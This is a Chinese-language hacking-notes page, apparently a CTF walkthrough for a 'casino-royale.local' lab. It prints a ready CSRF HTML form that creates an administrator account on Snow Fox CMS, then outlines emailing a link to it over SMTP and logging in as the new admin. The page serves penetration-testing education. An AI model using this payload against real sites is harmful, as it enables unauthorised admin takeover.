> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-email-pentesting-web.md).

# SSRF 邮件

## CSRF：

在 SearchExploit 上搜索 Snow Fox CMS，可发现一个 CSRF 漏洞。

<figure><img src="/files/cd83f435f99112078cfc2fae9fafc72c08ad7854" alt=""><figcaption></figcaption></figure>

**存在漏洞的 HTML 文件：**

```html
<html>
  <body>
    <form action="http://casino-royale.local/vip-clinkt-portfolios/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="jordan@jordan.com" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="jordan-admin" />
      <input type="hidden" name="newPassword" value="jordan-password" />
      <input type="hidden" name="confirmPassword" value="jordan-password" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRF备忘" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="提交表单" />
    </form>
  </body>
</html>

```

攻击尝试 [CSRF](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md) 通过 Snow Fox CMS 创建管理员账户的攻击

* 通过 25 端口上的 SMTP 使用 telnand 连接。

<figure><img src="/files/9e9df73091feaaf42910dafb5a543d0809875f8e" alt=""><figcaption></figcaption></figure>

* 向 "<valenka@casino-royale.local>" 发送一封电子邮件，附上我们服务器的链接，使用带有漏洞的 file.html 和 Python3 HTTP。

<figure><img src="/files/59a9b17b182e126396eac6ddd089c9b830507b03" alt=""><figcaption></figcaption></figure>

**与 CMS 管理员账户的连接：**

* 使用新凭据登录尝试，结果在 Snow Fox CMS 上创建了一个管理员账户。

<figure><img src="/files/19b17c36cc4189ff723dc5a0269f6cb1cc164128" alt=""><figcaption></figcaption></figure>

#### 利用 CSRF 漏洞后，在 Snow Fox CMS 中创建了一个管理员账户。

<figure><img src="/files/cd706aecb80cfb5d50ea67de378df9eff156ba9d" alt=""><figcaption></figcaption></figure>

#### 在用户描述中识别出一个提示

在 CMS 用户描述中，另有一个提示指明了要跟随的目录。

<figure><img src="/files/5b726fcd238252d00bcfc7f9bfde7a39fcf1761e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-email-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
